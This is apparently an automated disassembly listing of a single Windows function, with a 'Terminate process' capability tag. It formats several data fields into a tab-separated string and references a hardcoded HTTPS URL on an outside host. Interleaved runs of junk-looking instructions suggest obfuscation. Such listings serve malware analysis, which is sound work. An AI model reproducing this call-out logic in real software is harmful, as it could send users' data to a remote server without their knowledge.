Function at 0x40d6b0
Capabilities:
Terminate process

Disassembly:
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0047070c
mov esp, ebp
pop ebp
ret 4
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5dfe4c
mov eax, dword fs:[0]
push eax
mov eax, 0x1d18
call fcn.00470830
mov eax, dword [0x678390]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1d20], ecx
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x114]
push ecx
push eax
call fcn.00458f01
add esp, 8
call fcn.00453bfa
test al, al
je 0x40d720
salc
aad 0x8f
jne 0x40d693
and dh, ah
xor al, 0x73
bnd jp 0x40d742
cmp eax, 0xbaf2cef5
mov ebx, 0xfd4b448d
cmc
xchg ebx, eax
xor bh, bl
xchg esi, eax
push 0x1000
lea eax, [ebp - 0x1ccc]
push 0
push eax
call fcn.00483520
add esp, 0xc
call fcn.00453b2b
test al, al
je 0x40d751
add byte [eax + eax*8 + 0x1ef31274], al
push ds
mov esi, 0xdb6dcd71
dec esi
inc ecx
jno 0x40d711
insd dword es:[edi], dx
fisttp dword [esi + 0x41]
cmp dword [eax], esp
adc eax, dword [esi - 0x5b]
inc eax
out 0xf1, al
jp 0x40d73a
call fcn.004537ef
cdq
pushal
add al, 0
test al, al
je 0x40d775
invalid
call fcn.004537ef
test al, al
je 0x40d799
and eax, 0x6eb0333d
dec ebp
jmp 0x40d7a8
mov eax, dword [ebp - 0x1d20]
cmp dword [eax + 0x54], 0x10
lea ecx, [eax + 0x40]
jb 0x40d7aa
mov ecx, dword [ecx]
cmp dword [eax + 0x9c], 0x10
lea edx, [eax + 0x88]
jb 0x40d7bb
mov edx, dword [edx]
cmp dword [eax + 0x84], 0x10
lea esi, [eax + 0x70]
jb 0x40d7c9
mov esi, dword [esi]
add eax, 0x28
cmp dword [eax + 0x14], 0x10
jb 0x40d7d4
mov eax, dword [eax]
lea edi, [ebp - 0x114]
push edi
push ecx
push edx
push esi
push eax
lea eax, [ebp - 0x1ccc]
push str._s_t_s_t_s_t_s_t_s
push eax
call fcn.00408a80
push 0xbb8
lea eax, [ebp - 0xccc]
push 0
push eax
call fcn.00483520
add esp, 0x28
mov dword [ebp - 0x1d1c], 0xbb8
cmp byte [ebp - 0x1ccc], 0
mov dword [ebp - 0x1d24], 0xbb8
mov dword [ebp - 0x1cd0], 0xf
mov dword [ebp - 0x1cd4], 0
mov byte [ebp - 0x1ce4], 0
jne 0x40d842
xor ecx, ecx
jmp 0x40d859
lea ecx, [ebp - 0x1ccc]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d850
sub ecx, edx
push ecx
lea eax, [ebp - 0x1ccc]
push eax
lea ecx, [ebp - 0x1ce4]
call fcn.00402970
cmp dword [ebp - 0x1cd0], 0x10
lea ecx, [ebp - 0x1d24]
push ecx
lea ecx, [ebp - 0xccc]
mov dword [ebp - 4], 0
push ecx
push dword [ebp - 0x1cd4]
lea eax, [ebp - 0x1ce4]
cmovae eax, dword [ebp - 0x1ce4]
push eax
call fcn.00478725
add esp, 0x10
call fcn.00453720
test al, al
je 0x40d8cd
sbb byte [ecx + 0x1b], dh
jno 0x40d83c
test eax, 0xe787abc1
lahf
inc ebx
inc esi
outsb dx, byte [esi]
mov edi, 0xb0d5b097
into
add byte [edx + 0x13b76b4c], ah
mov ecx, 0xa90cb2ae
push ebp
call fcn.00453bb5
test al, al
je 0x40d8f2
mov dword gs:[0x68af8fb4], eax
fsub st(6), st(0)
idiv dword [ebx - 0x27f09d8e]
adc esp, dword [0x49b54922]
jg 0x40d923
fld dword [edx - 0x186ebfd2]
mov ecx, dword [ebp - 0x1d20]
lea eax, [ebp - 0x1d1c]
push eax
lea eax, [ebp - 0xccc]
push eax
call int.0040e090
cmp byte [ebp - 0xccc], 0
jne 0x40d918
xor ecx, ecx
jmp 0x40d92a
lea ecx, [ebp - 0xccc]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d921
sub ecx, edx
push ecx
lea eax, [ebp - 0xccc]
push eax
lea ecx, [ebp - 0x1ce4]
call fcn.00402970
push dword [ebp - 0x1d1c]
lea eax, [ebp - 0xccc]
push 0
push eax
call fcn.00483520
cmp dword [ebp - 0x1cd0], 0x10
lea ecx, [ebp - 0x1d1c]
push ecx
lea ecx, [ebp - 0xccc]
push ecx
push dword [ebp - 0x1cd4]
lea eax, [ebp - 0x1ce4]
cmovae eax, dword [ebp - 0x1ce4]
push eax
call fcn.00478725
add esp, 0x1c
call fcn.00453834
test al, al
je 0x40d99c
daa
xor al, ah
fstp xword [edi + 0x2ae7c4a9]
add ebx, dword [esi]
pop ebx
dec ebp
xor byte [esi - 0x6f], dh
or eax, ebp
or dword [esi + 4], ebx
add byte [eax + eax*8 - 0x2661e98c], al
invalid
call fcn.004537aa
test al, al
je 0x40d9bb
sahf
fld st(6)
mov edi, 0x96db786c
invalid
lea ecx, [ebp - 0x1d15]
call fcn.0041dea0
lea eax, [ebp - 0xccc]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x1d15]
call fcn.00478f14
call fcn.00453b70
test al, al
je 0x40d9f5
retf 0x957a
pushfd
pmuludq mm2, qword [ecx + 0x39]
dec esi
push cs
stosd dword es:[edi], eax
sub al, 0x6d
call fcn.004538be
test al, al
je 0x40da15
lahf
sar dword [edx], 0x6c
outsd dx, dword [esi]
mov ebp, 0xce39b709
add dword [ecx], eax
not esp
push edx
xchg ecx, eax
jne 0x40da62
rcr byte [ebx - 0x170d4752], 0x90
pop ebp
add al, 0
call fcn.004537aa
test al, al
je 0x40da3d
and al, 0x83
in al, dx
cmp al, 0xf5
mov esi, 0x6cabc678
fild word [edi]
sub eax, 0x4b4cc982
jb 0x40d9eb
xor dword [esi + 0xd], ebp
inc esp
in eax, 0x7d
insd dword es:[edi], dx
mov ecx, 0x6ad86b5c
inc ebp
push 0x45
push str.https:__tjtv3.wn51.com__60755f9ade9c14f24f5ef5a97e12fa9681f4fb5ac5
lea ecx, [ebp - 0x1cfc]
mov dword [ebp - 0x1ce8], 0xf
mov dword [ebp - 0x1cec], 0
mov byte [ebp - 0x1cfc], 0
call fcn.00402970
cmp byte [ebp - 0xccc], 0
mov byte [ebp - 4], 2
jne 0x40da7b
invalid
xor ecx, ecx
jmp 0x40da8d
lea ecx, [ebp - 0xccc]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40da84
sub ecx, edx
push ecx
lea eax, [ebp - 0xccc]
push eax
lea ecx, [ebp - 0x1cfc]
call fcn.004061d0
push 0
push 0x5e976e
lea ecx, [ebp - 0x1d14]
mov dword [ebp - 0x1d00], 0xf
mov dword [ebp - 0x1d04], 0
mov byte [ebp - 0x1d14], 0
call fcn.00402970
cmp dword [ebp - 0x1ce8], 0x10
lea eax, [ebp - 0x1cfc]
mov byte [ebp - 4], 3
cmovae eax, dword [ebp - 0x1cfc]
push eax
call fcn.00476f75
add esp, 4
call fcn.00453720
test al, al
je 0x40db10
add bl, ah
invalid
daa
pop esp
jbe 0x40daaf
xchg dword [esi + 0x5e0c597f], eax
lodsb al, byte [esi]
push ss
mov dword [0x7b6ca8ef], eax
add ah, byte [ecx]
push es
enter 0xffffffffffffb6fb, 0x39
mov eax, dword [ebp - 0x1d00]
cmp eax, 0x10
jb 0x40db2e
inc eax
lea ecx, [ebp - 0x1d14]
push eax
push dword [ebp - 0x1d14]
call fcn.00402c90
mov eax, dword [ebp - 0x1ce8]
mov dword [ebp - 0x1d00], 0xf
mov dword [ebp - 0x1d04], 0
mov byte [ebp - 0x1d14], 0
cmp eax, 0x10
jb 0x40db67
inc eax
lea ecx, [ebp - 0x1cfc]
push eax
push dword [ebp - 0x1cfc]
call fcn.00402c90
lea ecx, [ebp - 0x1d15]
mov dword [ebp - 0x1ce8], 0xf
mov dword [ebp - 0x1cec], 0
mov byte [ebp - 0x1cfc], 0
call fcn.00479050
mov eax, dword [ebp - 0x1cd0]
cmp eax, 0x10
jb 0x40dbab
inc eax
lea ecx, [ebp - 0x1ce4]
push eax
push dword [ebp - 0x1ce4]
call fcn.00402c90
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0047070c
mov esp, ebp
pop ebp
ret 4